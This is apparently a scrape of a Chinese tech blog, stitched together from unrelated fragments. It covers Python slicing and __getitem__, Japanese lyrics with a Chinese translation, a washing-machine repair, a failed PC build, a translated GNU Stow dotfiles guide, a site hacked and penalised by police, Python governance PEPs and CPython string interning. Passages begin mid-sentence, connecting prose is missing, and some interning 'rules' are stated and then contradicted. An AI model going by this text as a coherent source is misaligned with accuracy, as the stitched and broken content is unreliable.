it = iter(range(start, stop, step))
try:
nexti = next(it)
except StopIteration:
# Consume *iterable* up to the *start* position.
for i, element in zip(range(start), iterable):
pass
return
try:
for i, element in enumerate(iterable):
if i == nexti:
yield element
nexti = next(it)
except StopIteration:
# Consume to *stop*.
for i, element in zip(range(i + 1, stop), iterable):
pass
# test.txt 文件内容
'''
猫
Python猫
python is a cat.
this is the end.
'''
from itertools import islice
with open('test.txt','r',encoding='utf-8') as f:
print(hasattr(f, "__next__")) # 判断是否迭代器
content = islice(f, 2, 4)
for line in content:
print(line.strip())
### 输出结果:
True
python is a cat.
this is the end.
__getitem__()
__getitem__()
即可。所以,这里就先介绍一下这个方法。object.__getitem__(self, key)
Called to implement evaluation of self[key]. For sequence types, the accepted keys should be integers and slice objects. Note that the special interpretation of negative indexes (if the class wishes to emulate a sequence type) is up to the
__getitem__()
method. If key is of an inappropriate type, TypeError may be raised; if of a value outside the set of indexes for the sequence (after any special interpretation of negative values), IndexError should be raised. For mapping types, if key is missing (not in the container), KeyError should be raised.
__getitem__()
方法用于返回参数 key 所对应的值,这个 key 可以是整型数值和切片对象,并且支持负数索引;如果 key 不是以上两种类型,就会抛 TypeError;如果索引越界,会抛 IndexError ;如果定义的是映射类型,当 key 参数不是其对象的键值时,则会抛 KeyError 。class MyList():
def __init__(self):
self.data = []
def append(self, item):
self.data.append(item)
def __iter__(self):
return self
def __getitem__(self, key):
print("key is : " + str(key))
return self.data[key]
l = MyList()
l.append("My")
l.append("name")
l.append("is")
l.append("Python猫")
print(l[3])
print(l[:2])
print(l['hi'])
### 输出结果:
key is : 3
Python猫
key is : slice(None, 2, None)
['My', 'name']
key is : hi
Traceback (most recent call last):
...
TypeError: list indices must be integers or slices, not str
#####
2018-12-31 更新声明:本例未考虑到返回类型,严格来说并未实现切片。
在合并的文章里已做修正:https://mp.weixin.qq.com/s/IRAjR-KHZBPEEkdiofseGQ
__getitem__()
方法会根据不同的参数类型而实现不同的功能(取索引位值或切片值),也会妥当地处理异常,所以并不需要我们再去写繁琐的处理逻辑。###略去其它代码####
def __getitem__(self, index):
cls = type(self)
if isinstance(index, slice): # 如果index是个切片类型,则构造新实例
return cls(self._components[index])
elif isinstance(index, numbers.Integral): # 如果index是个数,则直接返回
return self._components[index]
else:
msg = "{cls.__name__} indices must be integers"
raise TypeError(msg.format(cls=cls))
class MyDict():
def __init__(self):
self.data = {}
def __len__(self):
return len(self.data)
def append(self, item):
self.data[len(self)] = item
def __getitem__(self, key):
if isinstance(key, int):
return self.data[key]
if isinstance(key, slice):
slicedkeys = list(self.data.keys())[key]
return {k: self.data[k] for k in slicedkeys}
else:
raise TypeError
d = MyDict()
d.append("My")
d.append("name")
d.append("is")
d.append("Python猫")
print(d[2])
print(d[:2])
print(d[-4:-2])
print(d['hi'])
### 输出结果:
is
{0: 'My', 1: 'name'}
{0: 'My', 1: 'name'}
Traceback (most recent call last):
...
TypeError
__getitem__()
魔术方法,并用于实现自定义对象(以列表类型和字典类型为例)的切片功能,希望对你有所帮助。君さえいなけりゃよかった | 如果你從未出現過該多好 |
降り出した雨の中で 君に出会った時から | 下起雨的那一刻 從遇到你那時起 |
君がいないということが 当たり前じゃなくなった | 身邊沒有你的情況 就已經不再是平常 |
ああ こんなはずじゃない | 啊 不應該是這樣的 |
ずっと自分勝手にさ 過ごせたはずなのに | 明明一直是散漫地過着自己的日子 |
まるで僕じゃないような僕が さらけ出されてくよ | 就像是帶出了不是我的另一面的我 |
君さえいなけりゃよかった こんな気持ちは知らないから | 如果你從未出現過該多好 就不會知道這種心情 |
やらなくちゃいけないことが 手つかずのまま積もってく | 一堆不得不做的事情 堆在手頭越積越多 |
僕じゃなくてもいいのなら こっちを見て笑わないでよ | 如果不是我也可以的話 就別看着我這邊笑啊 |
大袈裟じゃなくてそれだけで 忘れられなくなるの | 甚至那些不重要的事情 都變得難以忘記了 |
君の適当な話も 全部心に刺さります | 你無意間隨口說的話 全都刺在心頭 |
気にしなけりゃいいのにな 残らずかき集めちゃうの | 雖說只要不在意就可以了 卻一句不剩全收集了起來 |
ああ こんなはずじゃない こんなはずじゃない | 啊 不應該是這樣的 不應該是這樣的 |
君に出会わなきゃよかった こんなに寂しくなるのなら | 如果沒遇到過你該多好 就不會變得如此寂寞 |
君じゃなくてもいいことが もう見つからないの | 已經找不到 和你無關也可以的情況了 |
忘れられないから 君じゃなかったら | 無法忘記了 要不是你的話 |
いっそ見損なってしまうような そんなひとだったらなあ | 乾脆變成根本看不起的人 如果是那種人的話 |
でもそれでも どうせ無理そう 嫌いになれないや | 但是即使如此 大概反正也不可能 無法變得討厭 |
僕がいなくてもいいなら いっそ不幸になってしまえ | 如果不是我也可以的話 乾脆變得不幸吧 |
最後にまた僕の元に 泣きついてくればいい | 最後還是會回到我身邊 哭着湊過來的話就可以 |
君さえいなけりゃよかった こんな気持ちは知らないから | 如果沒有你該多好 就不會知道這種心情 |
やらなくちゃいけないことが 手つかずのまま積もってく | 一堆不得不做的事情 堆在手頭越積越多 |
僕じゃなくてもいいのなら こっちを見て笑わないでよ | 如果不是我也可以的話 就別看着我這邊笑啊 |
大袈裟じゃなくてそれだけで | 甚至那些不重要的事情 |
君のこと 間違いなく | 對你 毫無疑問 |
苦しいほど 好きになっちゃうよ | 刻骨銘心地 變得喜歡上了啊 |
忘れられないから 君じゃなかったら | 因爲無法忘記 如果不是你的話 |
君に出会わなきゃ 僕じゃなかったら | 要是沒遇到過你 如果不是我的話 |
君さえいなけりゃよかった | 如果你從未出現過該多好 |
li = [1, 4, 5, 6, 7, 9, 11, 14, 16]
# 以下写法都可以表示整个列表,其中 X >= len(li)
li[0:X] == li[0:] == li[:X] == li[:] == li[::] == li[-X:X] == li[-X:]
li[1:5] == [4,5,6,7] # 从1起,取5-1位元素
li[1:5:2] == [4,6] # 从1起,取5-1位元素,按2间隔过滤
li[-1:] == [16] # 取倒数第一个元素
li[-4:-2] == [9, 11] # 从倒数第四起,取-2-(-4)=2位元素
li[:-2] == li[-len(li):-2] == [1,4,5,6,7,9,11] # 从头开始,取-2-(-len(li))=7位元素
# 步长为负数时,列表先翻转,再截取
li[::-1] == [16,14,11,9,7,6,5,4,1] # 翻转整个列表
li[::-2] == [16,11,7,5,1] # 翻转整个列表,再按2间隔过滤
li[:-5:-1] == [16,14,11,9] # 翻转整个列表,取-5-(-len(li))=4位元素
li[:-5:-3] == [16,9] # 翻转整个列表,取-5-(-len(li))=4位元素,再按3间隔过滤
# 切片的步长不可以为0
li[::0] # 报错(ValueError: slice step cannot be zero)
[i : i+n : m]
,当出现缺省值时,通过想象把公式补全;li = [1, 2, 3, 4]
ls = li[::]
li == ls # True
id(li) == id(ls) # False
li.append(li[2:4]) # [1, 2, 3, 4, [3, 4]]
ls.extend(ls[2:4]) # [1, 2, 3, 4, 3, 4]
# 下例等价于判断li长度是否大于8
if(li[8:]):
print("not empty")
else:
print("empty")
# 切片列表受制于原列表
lo = [1,[1,1],2,3]
lp = lo[:2] # [1, [1, 1]]
lo[1].append(1) # [1, [1, 1, 1], 2, 3]
lp # [1, [1, 1, 1]]
li = [1, 2, 3, 4]
# 在头部拼接
li[:0] = [0] # [0, 1, 2, 3, 4]
# 在末尾拼接
li[len(li):] = [5,7] # [0, 1, 2, 3, 4, 5, 7]
# 在中部拼接
li[6:6] = [6] # [0, 1, 2, 3, 4, 5, 6, 7]
# 给切片赋值的必须是可迭代对象
li[-1:-1] = 6 # (报错,TypeError: can only assign an iterable)
li[:0] = (9,) # [9, 0, 1, 2, 3, 4, 5, 6, 7]
li[:0] = range(3) # [0, 1, 2, 9, 0, 1, 2, 3, 4, 5, 6, 7]
li[:0]==li[len(li):]==li[6:6]==[]
,我将这种占位符称为“纯占位符”,对纯占位符赋值,并不会破坏原有的元素,只会在特定的索引位置中拼接进新的元素。删除纯占位符时,也不会影响列表中的元素。li = [1, 2, 3, 4]
# 不同位置的替换
li[:3] = [7,8,9] # [7, 8, 9, 4]
li[3:] = [5,6,7] # [7, 8, 9, 5, 6, 7]
li[2:4] = ['a','b'] # [7, 8, 'a', 'b', 6, 7]
# 非等长替换
li[2:4] = [1,2,3,4] # [7, 8, 1, 2, 3, 4, 6, 7]
li[2:6] = ['a'] # [7, 8, 'a', 6, 7]
# 删除元素
del li[2:3] # [7, 8, 6, 7]
li = [1, 2, 3, 4, 5, 6]
li[::2] = ['a','b','c'] # ['a', 2, 'b', 4, 'c', 6]
li[::2] = [0]*3 # [0, 2, 0, 4, 0, 6]
li[::2] = ['w'] # 报错,attempt to assign sequence of size 1 to extended slice of size 3
del li[::2] # [2, 4, 6]
洗衣机莫名其妙罢工了,老婆也差点罢工了。这大冬天的手洗衣服着实有点冷,必须得修,本着自己动手丰衣足食的原则,说干就干。一般情况下洗衣机不存水,一直排水,肯定是物理管路的问题。而最大的可能就是下排水阀坏了,而排水阀故障主要是两个方面,要么阀体的密封橡胶圈坏了,要么电磁阀不回位。有这个基础常识就好办了,动起手来就有目的性了,无非就是一顿拆拆拆而已。
先来看个图吧,这是博主放了半天的水,只见上面放水,下面排水。这就算放一天也怕是放不满了。
前面说最有可能的就是排水阀坏了,如果阀体不回位,电路板故障也有可能。先给洗衣断电,拔下插头一分钟后再插上,重复注水程序。无果,指示灯什么的都正常,电路板故障概率比较低,那么久是排水阀的故障概率更高了,要么电磁阀坏了,要么就是电磁阀被什么给卡住了。从简单往复杂了干,那就拆拆拆吧。搬开洗衣机到宽敞点的地方来,拆开后盖,瞄一眼其实就发现问题了,电磁阀被卡出来。
▼这是洗衣桶的底部。
▼放大一点看到没,管路里面有个硬币。
先拆下下面的排水管,接着把电磁阀的阀杆拉到一边,这个需要点力气,常识掏出硬币,无果。只好去找一个钩子,我从铜包钢电缆中剪下一截,取出里面的张力铁丝,弄个弯钩,掏了半天,结果还是没掏出来,只好把洗衣机横向放倒,让硬币掉到口子边上,还是用手指掏出来的。这个就是那铁丝钩子。没起到作用。
最后掏出硬币,全部装回,试机,完成。告诫各位朋友,洗衣服的时候记得掏干净口袋里面的异物。好了我得去说说我家媳妇去。。。
损一毫利天下,不与也;悉天下奉一身,不取也;人人不损一毫,人人不利天下,天下治矣! ——春秋·杨朱
>>> t1 = ('Python', '猫')
>>> t2 = ('Python', '猫')
>>> t1 is t2 # 对象独立
False
>>> t1[1] = '蛇' # 不可修改元素
TypeError Traceback (most recent call last)
TypeError: 'tuple' object does not support item assignment
>>> key1 = 'Python 猫'
>>> key2 = ['someone else']
>>> dict1 = {key1 : '好人'}
{'Python 猫': '好人'}
>>> dict2 = {key2 : '好人'}
TypeError Traceback (most recent call last)
TypeError: unhashable type: 'list'
s0 = "Python猫"
# 以下7种方法,无法复制s0字符串,id(x)==id(s0)
s1 = s0
s2 = str(s0)
s3 = s0[:]
s4 = s0 + ''
s5 = '%s' % s0
s6 = s0 * 1
import copy
s7 = copy.copy(s0)
# 以下方法可以复制字符串,“打碎”再重组
s8 = "".join(s0)
>>> l = ['Python', '猫']
>>> l.append('其它猫') # ['Python','猫','其它猫']
>>> l.pop(1) # ['Python','其它猫']
>>> l.clear() # []
>>> q=[1, 2, 3, 4, 5]
# 不允许索引越界
>>> q[10]
IndexError Traceback (most recent call last)
IndexError: list index out of range
# 允许切片越界
>>> q[2:10] # [3, 4, 5]
>>> q[-10:2] # [1, 2]
new_allocated = (newsize >> 3) + (newsize < 9 ? 3 : 6)
事情是这样的,天气冷了,电脑这东西说心肌梗塞就心肌梗塞了,上一周我自己的电脑南桥烧了,这周公司同事的电脑又烧主板了。传统生产型企业对电脑的要求足够简单,日常也就是office和ERP,所以除了我这个IT岗位外,其他部门的电脑配置就低不就高的原则来处理。行政部门给了预算,我写的配置单,采购下单买的配件,按部就班也就进行了。
今天配件从某东来了,虽然我是强硬反东份子,但是公司的事嘛,我也不便说什么。某东还算快,隔天就到,当然没有我大天猫的电器城当天送的速度,检查了一下配件都齐全,型号也都对,那么二话不说,除了个静电后就来装机了,装CPU、插内存,背板走线,装主板,装硬盘,插线,一鼓作气干完了,噼里啪啦的拉来显示器接线通电。en.....,显示器没反应。
先是怀疑内存没插好,换个槽,没反应。怀疑显示器或者信号线有问题,替换,没反应。尼玛,这就着急了,仔细看了下CPU风扇在转,主板灯亮。似乎没有故障现象。无奈,打主板厂商售后电话,告知现象,对方给的答复是插拔内存和CPU,我告诉他检查过了,不过CPU没去重插,就说稍后我再去试CPU,问对方,如果还是点不亮估计会是什么原因,该怎么办。厂商说那可能是质量问题,要退换货。无奈,打了某东的电话,报售后换货,对方告知要7天时间,瞬间崩溃。
网上没搜到有效信息,就去翻了下商品评论,大多数也都蛮不错了,在某东的相关问题里面看到有个说翻车了,点不亮,而另外一个人咨询是否支持9代CPU,我靠,我好像发现了什么,这种低配的板子会不会认代系CPU啊,马上又打厂家售后,厂家说,这款默认支持6代,现在7代也可以。尼玛我买的是8代的U,原因在这里。然后看到某东另外一块板子上面有一行小字:稳上非K8代酷睿。我买的那块板子没标,这下坑死了,顺道把采购同事也给坑了,又走退货流程,再走公司内部申购,补差价的流程,再下单,配件估计明天才会到了。
换了个支持八代U的板子,明天要是再点不亮,特么的我不能再吃攒机这碗饭了。尴尬,大写的~
With PEP 8010 I feel like we’re trying to decide who to fly a 747, by voting, and none of the candidates have a pilot’s license。
這篇是翻譯自 Brandon Invergo 的博客的英文文章 Using GNU Stow to manage your dotfiles 。 Brandon Invergo 的博客採用 CC-BY-SA 3.0 授權,因此本文也同樣採用 CC-BY-SA 3.0 ,不同於其它我寫的文章是 CC-BY-NC-SA 4.0 授權。
我自己已經使用此文中介紹的方案管理 我自己的 dotfiles 快 3 年了。最早想採用這樣的管理方案是爲了方便在多臺 Arch Linux 系統之間同步配置, 後來逐漸主力系統也更新換代了一次,又同步到了自己的 vps 上去,目前管理多個 Arch Linux 上都多少都有這套配置。甚至裝好 Arch Linux 添加好用戶最初做的事情就是安裝 stow git 然後 clone 了我自己的 dotfiles repo 下來,然後按需取想要的配置,快捷方便有效。
廢話不多說,下面是原文和翻譯。與之前的翻譯一樣,正文部分給出原文引用以便對照參考。
I accidentally stumbled upon something yesterday that I felt like sharing, which fell squarely into the "why the hell didn't I know about this before?" category. In this post, I'll describe how to manage the various configuration files in your GNU/Linux home directory (aka "dotfiles" like .bashrc) using GNU Stow.
我昨天偶然間發現一些我覺得值得分享的經驗,就是那種「爲毛我沒有早點知道這個?」那一類的。 我將在這篇文章中介紹如何使用 GNU Stow 管理你的 GNU/Linux 系統中位於用戶家目錄裏的各種配置文件 (通常又叫「點文件(dotfiles)」比如 .bashrc)。
The difficulty is that it would be helpful to manage one's configuration files with a version control system like Git, Mercurial or Bazaar, but many/most dotfiles reside at the top-level of your home directory, where it wouldn't be a good idea to initialize a VCS repository. Over time I've come across various programs which aim to manage this for you by keeping all the files in a subdirectory and then installing or linking them into their appropriate places. None of those programs ever really appealed to me. They would require a ton of dependencies (like Ruby and a ton of libraries for it) or they would require me to remember how to use them, which is difficult when really for such a task you rarely use the program.
這件事的困難之處在於,如果能用版本管理系統(VCS, Version Control System)比如 Git, Mercurial(hg), Bazaar(bzr) 管理點文件的話會非常方便,但是這些點文件大部分都位於家目錄的頂級目錄下, 在這個位置不太適合初始化一個版本管理倉庫。這些年下來我試過很多程序,設計目的在於解決這個問題, 幫你把這些配置文件安置在某個下級目錄中,然後安裝或者鏈接這些文件到它們應該在的位置。 嘗試下來這些程序沒有一個真正能打動我。它們要麼有很多依賴(比如 Ruby 和一大坨庫), 要麼需要我記住如何用它,考慮到同步配置這種不算經常使用的場合,要記住用法真的挺難。
Lately I've been using GNU Stow to manage programs I install from source to /usr/local/. Basically, in this typical usage, you install locally built packages to /usr/local/stow/${PKGNAME}-{PKGVERSION} and then from /usr/local/stow/ you run # stow ${PKGNAME}-${PKGVERSION} and the program generates symbolic links to all the programs' files into the appropriate places under /usr/local/. Then, when you uninstall a program via Stow, you don't have to worry about any stray files that you or a provide Makefile may have missed. It also makes handling alternate versions of a program quite easy (i.e. when I'm experimenting with different configurations of dwm or st).
最近我在用 GNU Stow 來管理我從源代碼在本地編譯安裝到
/usr/local/
中的一些程序。
基本上說,在這種常見用法下,是你把這些本地編譯的包配置安裝到
/usr/local/stow/${PKGNAME}-{PKGVERSION}
這樣的位置,然後在
/usr/local/stow/
目錄中執行
# stow ${PKGNAME}-${PKGVERSION}
,然後它就會爲程序所有的文件創建符號鏈接放在
/usr/local
中合適的地方。然後當你想用 Stow 卸載這個程序的時候,就不必再考慮會留下什麼垃圾文件,
或者找不到安裝時用的 Makefile 了。這種安裝方式下也可以非常容易地切換一個程序的不同版本
(比如我想嘗試不同配置選項下的 dwm 或者
st 的時候)。
Some time ago I happened across a mailing list posting where someone described using Stow to manage the installation of their dotfiles. I didn't pay much attention to it but my brain must have filed it away for later. Yesterday I decided to give it a try and I have to say that it is so much more convenient than those other dedicated dotfile-management programs, even if it wasn't an immediately obvious option.
前段時間在我掃郵件列表的時候,看到某個帖子中某人在說使用 Stow 管理安裝他的點文件。 當時我沒特別在意這個帖子,但是大概我大腦潛意識把它歸檔保存爲今後閱讀了。 昨天我想起來試試這種用法,試過後我不得不說,這比那些專門設計用來做這任務的點文件管理器要方便太多了, 雖然表面上看起來這種用法沒那麼顯而易見。
The procedure is simple. I created the ${HOME}/dotfiles directory and then inside it I made subdirectories for all the programs whose cofigurations I wanted to manage. Inside each of those directories, I moved in all the appropriate files, maintaining the directory structure of my home directory. So, if a file normally resides at the top level of your home directory, it would go into the top level of the program's subdirectory. If a file normally goes in the default ${XDG_CONFIG_HOME}/${PKGNAME} location (${HOME}/.config/${PKGNAME}), then it would instead go in ${HOME}/dotfiles/${PKGNAME}/.config/${PKGNAME} and so on. Finally, from the dotfiles directory, you just run $ stow $PKGNAME and Stow will symlink all the package's configuration files to the appropriate locations. It's then easy to make the dotfiles a VCS repository so you can keep track of changes you make (plus it makes it so much easier to share configurations between different computers, which was my main reason to do it).
方法很簡單。我建了個
${HOME}/dotfiles
文件夾,然後在裏面爲我想管理的每個程序配置都
創建一個子文件夾。然後我把這些程序的配置從原本的家目錄移動到這每一個對應的子文件夾中,
並保持它們在家目錄中的文件夾結構。比如,如果某個文件原本應該位於家目錄的頂層文件夾裏,
那它現在應該放在這個程序名子目錄的頂層文件夾。如果某個配置文件通常應該位於默認的
${XDG_CONFIG_HOME}/${PKGNAME}
位置 (
${HOME}/.config/${PKGNAME}
),
那麼現在它應該放在
${HOME}/dotfiles/${PKGNAME}/.config/${PKGNAME}
,如此類推。然後在那個 dotfiles 文件夾裏面,直接運行
$ stow $PKGNAME
命令,
Stow 就會爲你自動創建這些配置文件的符號鏈接到合適的位置。接下來就很容易爲這個 dotfiles
目錄初始化版本管理倉庫,從而記錄你對這些配置文件做的修改(並且這也可以極度簡化在不同電腦之間
共享配置,這也是我想要這麼做的主要原因)。
For example, let's say you want to manage the configuration for Bash, VIM and Uzbl. Bash has a couple files in the top-level directory; VIM typically has your .vimrc file on the top-level and a .vim directory; and Uzbl has files in ${XDG_CONFIG_HOME}/uzbl and ${XDG_DATA_HOME}/uzbl. So, your home directory looks like this:
舉個例子,比如說你想管理 Bash, VIM, Uzbl 這三個程序的配置文件。Bash 會在家目錄的頂層文件夾
放幾個文件; VIM 通常會有在頂層文件夾的 .vimrc 文件和 .vim 目錄;然後 Uzbl 的配置位於
${XDG_CONFIG_HOME}/uzbl
以及
${XDG_DATA_HOME}/uzbl
。於是在遷移配置前,你的家目錄的文件夾結構應該看起來像這樣:
home/
brandon/
.config/
uzbl/
[...some files]
.local/
share/
uzbl/
[...some files]
.vim/
[...some files]
.bashrc
.bash_profile
.bash_logout
.vimrc
You would then create a dotfiles subdirectory and move all the files there:
然後遷移配置的方式是,應該建一個 dotfiles 子目錄,然後像這樣移動所有配置文件:
home/
/brandon/
.config/
.local/
.share/
dotfiles/
bash/
.bashrc
.bash_profile
.bash_logout
uzbl/
.config/
uzbl/
[...some files]
.local/
share/
uzbl/
[...some files]
vim/
.vim/
[...some files]
.vimrc
Then, perform the following commands:
然後執行以下命令:
$ cd ~/dotfiles
$ stow bash
$ stow uzbl
$ stow vim
And, voila, all your config files (well, symbolic links to them) are all in the correct place, however disorganized that might be, while the actual files are all neatly organized in your dotfiles directory, which is easily turned into a VCS repo. One handy thing is that if you use multiple computers, which may not have the same software installed on them, you can pick and choose which configurations to install when you need them. All of your dotfiles are always available in your dotfiles directory, but if you don't need the configuration for one program, you simply don't Stow it and thus it does not clutter your home directory.
然後,瞬間,所有你的配置文件(的符號鏈接)就安安穩穩地放入了它們該在的地方,無論原本這些目錄結構 有多麼錯綜複雜,這樣安排之後的 dotfiles 文件夾內的目錄結構立刻整理得有條有理, 並且可以很容易地轉換成版本控制倉庫。非常有用的一點是,如果你有多臺電腦,可能這些電腦並沒有 安裝完全一樣的軟件集,那麼你可以手選一些你需要的軟件配置來安裝。在你的 dotfiles 文件夾中總是 可以找到所有的配置文件,但是如果你不需要某個程序的某份配置,那你就不對它執行 stow 命令,它就不會擾亂你的家目錄。
Well, that's all there is to it. Hopefully someone else out there finds this useful! I know I've found it to be a huge help.
嗯,以上就是整個用法介紹。希望能有別人覺得這個用法有用!我知道對我來說這個非常有幫助。
事情呢,说来也很简单,那天贸贸然又接到嘉定分局网安支队的电话,被告知博主某网站有漏洞,被利用了,上传了有非法信息的恶意页面。然后问博主这网站还要不要,如果不要了赶紧关掉,如果还要的话,那要抓紧时间整改,网警要上门检查并可能会有一定的处罚措施。emmmm....
事情呢就是这么个事情,所以上个图给大家看下,博主被处罚了啥?
原文我就不贴了,网上有现成的,大家可以去搜来看看。几个要点,我提炼一下,首先这个是公安部的部门规章,它的直接上位法主要是《中华人民共和国计算机信息系统安全保护条例》、《中华人民共和国计算机信息网络国际联网管理暂行规定》。公安机关根据这个办法来管理互联网安全这块的工作,现在都是各网安支队、网安大队的事情。其次,这个办法的主要内容有三大方面,一个是发布信息规范的“九不准”,一个是黑客行为“五不允许”,一个是信息保密。
这个简单理解就是涉网单位负责制,谁的网络产品谁负责,比如服务器安全由服务器运营者负责,网站由网站运营者负责。负责的措施就是各种技术保护、信息管理、应急处理、安全教育、通报公安等方面的工作,细化下来有很多措施,大家可以去看下。
前面说的九不准、五不允许、信息保密,一旦违反,或者未尽到安全管理责任的将由公安机关给予警告,有违法所得的,没收违法所得,对个人可以并处5000元以下的罚款,对单位可以并处1.5万元以下的罚款;情节严重的,并可以给予6个月以内停止联网、停机整顿的处罚,必要时可以建议原发证、审批机构吊销经营许可证或者取消联网资格;构成违反治安管理行为的,依照治安管理处罚法的规定处罚;构成犯罪的,依法追究刑事责任。处罚划重点:最轻的是警告,它属于行政处罚,就像博主这次的这个,一般是初犯。严重的就会被罚款和停机整顿了。
那你们会怎么做呢?建立一套民主制度?无政府状态?还是专政?或是联邦制?
他们已经同意给出提案的截止日期是2018年10月1日。我相信,到2018年11月1日,他们会选出一个合理的管理提案。到2019年1月1日,他们承诺会完成选举或任命负责人。
PEP-8010:2018-8-24 PEP-8011:2018-8-24 PEP-8012:2018-10-03 PEP-8013:2018-09-14 PEP-8014:2018-09-16 PEP-8015:2018-10-04 PEP-8016:2018-11-01
蝴蝶效应
。特朗普当选美国总统的时候,很多人就有事不关己的想法,然而,到今天,全球局势、国内股市和就业形势,全都笼罩在这只蝴蝶的余风中动荡着。PEP 8010 - 技术领导人治理模式(The Technical Leader Governance Model)
维持现状(continue status quo (ish))
提案人: Barry Warsaw
PEP 8011 - 三巨头治理模式(Python Governance Model Lead by Trio of Pythonistas)
类似现状,但三人决策
提案人: Mariatta Wijaya, Barry Warsaw
PEP 8012 - 社区治理模式(The Community Governance Model)
没有核心决策人
提案人: Łukasz Langa
PEP 8013 - 外部治理模式(The External Governance Model)
非核心监督(non-core oversight)
提案人: Steve Dower
PEP 8014 - 大众治理模式(The Commons Governance Model)
核心监督(core oversight)
提案人: Jack Jansen
PEP 8015 - Python社区的组织模式(Organization of the Python community)
将多数决策交给团队(push most decision-making to teams)
提案人: Victor Stinner
PEP 8016 - 指导委员会模式(The Steering Council Model)
引导治理的迭代(bootstrap iterating on governance)
提案人: Nathaniel J. Smith, Donald Stufft
PEP-8012 明确地避免它
PEP-8014 有一个长老会(Council of Elders),负责决定如何及何时批准 PEP,决定是基于对所有人开放的投票(详见下文关于 PEP 流程的部分)
PEP 8010:核心开发者
PEP 8011:(现役的) 核心开发者
PEP 8012:N/A
PEP 8013:核心开发者;当出现平局,主席可再投一票
PEP 8014:投票对所有人开放(无需是核心开发者)
PEP 8015:核心开发者; 若平局则进行二次投票,若二次投票还是平局,则由 PSF 董事会(用于创建委员会,以及指导委员会) 做选择
PEP 8016:核心开发者;“若出现平局,可由候选人协商解决,要不然就随机选择”
ss0 = 'hi'
ss1 = 'h' + 'i'
ss2 = ''.join(ss0)
print(ss0 == ss1 == ss2) >>> True
print(id(ss0) == id(ss1)) >>> True
print(id(ss0) == id(ss2)) >>> False
Python中,字符串使用Intern机制实现内存地址共用,长度不超过20,且仅包括下划线、数字、字母的字符串才会被intern;涉及字符串拼接时,编译期优化结果会与运行期计算结果不同。
# 编译对字符串拼接的影响
s1 = "hell"
s2 = "hello"
"hell" + "o" is s2
>>>True
s1 + "o" is s2
>>>False
# "hell" + "o"在编译时变成了"hello",
# 而s1+"o"因为s1是一个变量,在运行时才拼接,所以没有被intern
# 代码加上
ss3 = ''.join('hi')
print(id(ss0) == id(ss3)) >>> False
s0 = "Python猫"
import copy
s1 = copy.copy(s0)
s2 = copy.copy("Python猫")
print(id(s0) == id(s1))
>>> True
print(id(s0) == id(s2))
>>> False
StringObject.h
的注释中写道:/* … … This is generally restricted to strings that “looklike” Python identifiers, although the intern() builtin can be used to force interning of any string … … */
# 长度超过20,不被intern VS 被intern
'a' * 21 is 'aaaaaaaaaaaaaaaaaaaaa'
>>> False
'aaaaaaaaaaaaaaaaaaaaa' is 'aaaaaaaaaaaaaaaaaaaaa'
>>> True
# 长度不超过20,不被intern VS 被intern
s = 'a'
s * 5 is 'aaaaa'
>>> False
'a' * 5 is 'aaaaa'
>>> True
# join方法,不被intern VS 被intern
''.join('hi') is 'hi'
>>> False
''.join('h') is 'h'
>>> True
# 特殊符号,不被intern VS 被"intern"
'python!' is 'python!'
>>> False
a, b = 'python!', 'python!'
a is b
>>> True
'a' * 21
的id有变化后,就认为 Intern 机制只对长度不超过20的字符串生效,可是,当看到长度超过20的字符串的id还相等时,这个结论就变错误了。常量合并(Constant folding)
的机制后,长度不超过20的字符串会被合并的现象才得到解释。有的人从《战争与和平》里看到的只是一个普通的冒险故事,
有的人则能通过阅读口香糖包装纸上的成分表来解开宇宙的奥秘。
list1 = [1,2]
id(list1)
>>> 1981119454856
list2 = list1.copy()
print(list1 == list2)
>>> True
id(list2)
>>> 1981116983752
s0 = "Python猫"
s1 = s0
s2 = str(s0)
s3 = s0[:]
s4 = s0 + ''
s5 = '%s' % s0
s6 = s0 * 1
s7 = "".join(s0)
import copy
s8 = copy.copy(s0)
Python猫
的老读者看到这,会心一笑,这不就是因为字符串的 Intern 机制嘛,短字符串在内存中只会存在一份,在《Python中的“特权种族”是什么?》这篇文章里提到过的。s0 = “Python猫是来自喵星的客人,它喜欢地球和人类,正在学习Python,而且想借助Python变成人,它的微信公众号也叫Python猫,欢迎你关注哦,喵喵喵喵~~~~~~~”
s9 = "Python猫是来自喵星的客人,它喜欢地球和人类,正在学习Python,而且想借助Python变成人,它的微信公众号也叫Python猫,欢迎你关注哦,喵喵喵喵~~~"
print(id(s0) == id(s9))
>>> False
w1 = "Python猫是来自喵星的客人,它喜欢地球和人类,正在学习Python,而且想借助Python变成人,它的微信公众号也叫Python猫,欢迎你关注哦,喵喵喵喵~~~"
w2 = "Python猫是来自喵星的客人,它喜欢地球和人类,正在学习Python,而且想借助Python变成人,它的微信公众号也叫Python猫,欢迎你关注哦,喵喵喵喵~~~"
print(w1 == w2)
>>> True
print(id(w1) == id(w2))
>>> False
print(hash(w1) == hash(w2))
>>> True
这些细节是 CPython 核心开发者走的捷径和做的优化措施,对这门语言的用户而言无需了解,而且那些细节对其他 Python 实现可能没用,CPython 未来的版本可能也不会用。
Pythonista
。双十一的余温还没结束,说好不剁手的,结果双十一还是没经得起阿里云的诱惑,2核8G5M的服务器2070,割割肉,买。11月9号开开心心的把网站数据转移到新服务器上,然后这些天看着服务器负载低的可怕,就连装软件CPU都跑不满,又着实开始心疼钱了,这真是改不了的穷人属性。
最近本职工作之余一直忙着存量客户的备案真实性问题,也没撸码也没啥技术问题学习的,11月后更的两篇水文,一直没见百度收录,就挺奇怪的,排查了一下,之前程序多有调整,不知道什么时候把推送给注释了,就手给改了过来,再次手动提交了三个链接,过了两天百度反馈的结果是抓取失败1类错误,导出错误结果是404,网页无法访问。就尝试了一下常规的排查。
我首先看了下之前的收录链接,通过百度出来的链接是否能正常访问,点击访问一切正常。也就没怎么当回事了,毕竟我做的是佛系道系SEO。想想估计可能提交的时候服务器偶然宕机了吧,于是又耽搁了下来,这两天在阿里云买的域名VIPDNS到期了,通知我续费,就把域名解析点开了,想查下免费的DNS和收费的DNS有啥区别。其实问题就在这里,只是这个时候我还是没联想起来。
